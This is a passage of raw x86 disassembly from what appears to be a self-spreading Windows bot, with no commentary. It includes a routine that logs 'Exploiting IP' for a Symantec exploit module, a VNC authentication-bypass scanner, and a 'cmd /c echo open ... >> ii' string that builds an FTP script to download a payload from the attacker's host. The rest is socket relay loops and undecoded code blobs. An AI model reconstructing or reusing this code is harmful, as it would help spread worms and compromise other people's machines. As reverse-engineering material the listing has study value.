eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA6C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j nop call near ptr 71AB1A6Dh loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA6C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call dword_4CB9EC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE704 nop call near ptr 2710000h jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE6F8 call near ptr 2700000h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE708 call dword_4CBA24 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 1536E8B4h, 50900232h, 0E6FC35FFh, 0E890004Ch dd 2321528h, 0CDE89050h, 8D02320Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h dd 34E85700h, 9002251Ah, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 27101CE8h, 45899002h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 1003E850h, 6A900227h, 0F04589FFh dd 90D875FFh, 280F6BE8h, 75FF5702h, 17A7E8F0h, 57900228h dd 0E8EC75FFh, 228179Dh, 0F075FF90h, 75FFD6FFh, 57D6FFECh dd 0E8D875FFh, 2311985h, 35FF90h, 0FF004CE7h, 435FFD6h dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 0D1E89056h, 68022D0Dh, 0FFFEh, 9997E853h dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Dh, 0FC15FF57h dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 0C56E890h db 2Dh, 2 word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h dd 7DC08571h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CE71C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE71C nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2670000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE71C nop call near ptr 71AB1AF4h push 1 nop call near ptr 2680000h test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: 